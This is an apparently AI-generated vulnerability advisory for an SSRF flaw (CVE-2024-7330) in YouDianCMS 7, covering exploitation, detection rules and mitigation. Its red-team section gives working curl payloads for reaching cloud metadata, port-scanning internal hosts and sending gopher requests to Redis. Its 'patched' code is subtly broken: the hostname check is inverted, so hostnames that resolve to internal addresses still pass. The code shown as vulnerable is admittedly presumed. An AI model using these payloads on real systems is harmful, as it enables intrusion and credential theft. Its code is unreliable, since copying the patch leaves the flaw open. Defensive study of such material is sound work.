CVE-2024-7330

Executive Summary

CVE-2024-7330 is a critical Server-Side Request Forgery (SSRF) vulnerability discovered in YouDianCMS version 7. The flaw resides in the curl_exec function within the file /App/Core/Extend/Function/ydLib.php. By manipulating the url argument, an unauthenticated remote attacker can force the server to make arbitrary HTTP requests to internal or external resources. This can lead to internal network reconnaissance, access to cloud metadata endpoints (e.g., AWS, GCP), or exploitation of other internal services. The vendor has not responded to disclosure attempts, and no official patch is available. The exploit has been publicly disclosed, increasing the risk of active exploitation.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – Exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High – Potential to read sensitive internal data.
• Integrity (I): High – Potential to modify internal resources.
• Availability (A): High – Potential to disrupt internal services.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority vulnerability for any organization using YouDianCMS 7.

Deep Dive & Mechanics

The vulnerability is a classic SSRF in the curl_exec function. The code in /App/Core/Extend/Function/ydLib.php likely takes a user-supplied url parameter and passes it directly to curl_exec without proper validation or sanitization.

Attack Flow:

1. An attacker sends an HTTP request to the vulnerable endpoint, e.g., http://target.com/index.php?url=http://169.254.169.254/latest/meta-data/.
2. The application extracts the url parameter and passes it to curl_exec.
3. The server's cURL library makes a request to the attacker-specified URL.
4. The response from the internal resource is returned to the attacker.

Potential Impacts:

• Cloud Metadata Theft: Access to AWS/GCP/Azure instance metadata (e.g., IAM credentials).
• Internal Network Scanning: Probe internal IPs and ports (e.g., 10.0.0.1:3306, 192.168.1.1:22).
• Service Exploitation: Interact with internal services like Redis, Memcached, or databases.
• Blind SSRF: Even if the response is not returned, the attacker can perform blind SSRF attacks (e.g., timing-based).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be:

Vulnerable Code (ydLib.php):

function fetchUrl($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}

Patched Code (Hypothetical):

function fetchUrl($url) {
    // Validate URL scheme
    $allowed_schemes = ['http', 'https'];
    $parsed_url = parse_url($url);
    if (!in_array($parsed_url['scheme'], $allowed_schemes)) {
        return false;
    }
    // Block private IP ranges
    $host = $parsed_url['host'];
    if (filter_var($host, FILTER_VALIDATE_IP)) {
        if (!filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
            return false;
        }
    } else {
        // Resolve hostname and check IP
        $ip = gethostbyname($host);
        if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
            return false;
        }
    }
    // Proceed with cURL
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install YouDianCMS 7 on a local server (e.g., Ubuntu 22.04, Apache, PHP 7.4).
2. Ensure the vulnerable endpoint is accessible.

Exploit Steps:

1. Basic SSRF Test:

   curl "http://target.com/index.php?url=http://127.0.0.1:80"
   

2. Cloud Metadata Access (AWS):

   curl "http://target.com/index.php?url=http://169.254.169.254/latest/meta-data/"
   

3. Internal Port Scan (using timing):

   for port in 22 80 443 3306 6379; do
       time curl -s "http://target.com/index.php?url=http://192.168.1.1:$port" >/dev/null
   done
   

4. Blind SSRF to Redis:

   curl "http://target.com/index.php?url=gopher://127.0.0.1:6379/_*1%0d%0a%244%0d%0aping%0d%0a"
   

Blue Team (Defensive)

Detection:

• Monitor for outbound HTTP requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8).
• Alert on requests to cloud metadata IPs (169.254.169.254, 100.100.100.200 for Alibaba).
• Look for unusual URL parameters containing IP addresses or internal hostnames.

Mitigation:

• Immediate: Disable the vulnerable functionality or restrict access to the endpoint via WAF rules.
• Network: Implement egress filtering to block outbound traffic to private IP ranges from web servers.
• Code: Apply input validation and allowlisting as shown in the patched code example.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to 169.254.169.254 (AWS metadata).
  • Outbound HTTP requests to 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16.
  • Requests with url parameter containing IP addresses or internal hostnames.
• File IOCs:
  • Log entries in /var/log/apache2/access.log or similar showing index.php?url=....
• Behavioral IOCs:
  • Unusual outbound connections from the web server to internal services (e.g., Redis, MySQL).

Detection Engineering

YARA Rule

rule CVE_2024_7330_SSRF_YouDianCMS {
    meta:
        description = "Detects exploitation attempts of CVE-2024-7330 SSRF in YouDianCMS"
        author = "Valters IT"
        date = "2024-07-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-7330"
    strings:
        $s1 = "curl_exec" ascii wide nocase
        $s2 = "ydLib.php" ascii wide nocase
        $s3 = "url=" ascii wide nocase
        $ip_private = /(127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/
        $ip_metadata = /169\.254\.169\.254/
    condition:
        any of ($s*) and ($ip_private or $ip_metadata)
}

Sigma Rule

title: CVE-2024-7330 SSRF Exploitation Attempt
id: 7b8c3d4e-5f6a-7b8c-9d0e-1f2a3b4c5d6e
status: experimental
description: Detects HTTP requests targeting internal IPs or cloud metadata via YouDianCMS SSRF
author: Valters IT
date: 2024/07/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'url='
    filter_private:
        cs-uri-query|contains:
            - '127.0.0.1'
            - '10.'
            - '172.16.'
            - '172.17.'
            - '172.18.'
            - '172.19.'
            - '172.20.'
            - '172.21.'
            - '172.22.'
            - '172.23.'
            - '172.24.'
            - '172.25.'
            - '172.26.'
            - '172.27.'
            - '172.28.'
            - '172.29.'
            - '172.30.'
            - '172.31.'
            - '192.168.'
    filter_metadata:
        cs-uri-query|contains: '169.254.169.254'
    condition: selection and (filter_private or filter_metadata)
falsepositives:
    - Legitimate internal API calls (if any)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-7330 SSRF Exploitation Attempt - YouDianCMS";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"url="; http_uri;
    pcre:"/url=(https?:\/\/)?(127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.169\.254)/Ui";
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable functionality if possible, or restrict access to the endpoint using a Web Application Firewall (WAF).
2. Apply egress filtering at the network level to block outbound traffic to private IP ranges (RFC 1918) and cloud metadata IPs from web servers.
3. Monitor logs for the IOCs listed above.

Long-Term Fix:

• Since the vendor is unresponsive, consider migrating away from YouDianCMS 7 to a supported CMS.
• If migration is not possible, implement a custom patch as shown in the "Patched Code" section.
• Conduct a full security audit of the application for similar vulnerabilities.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.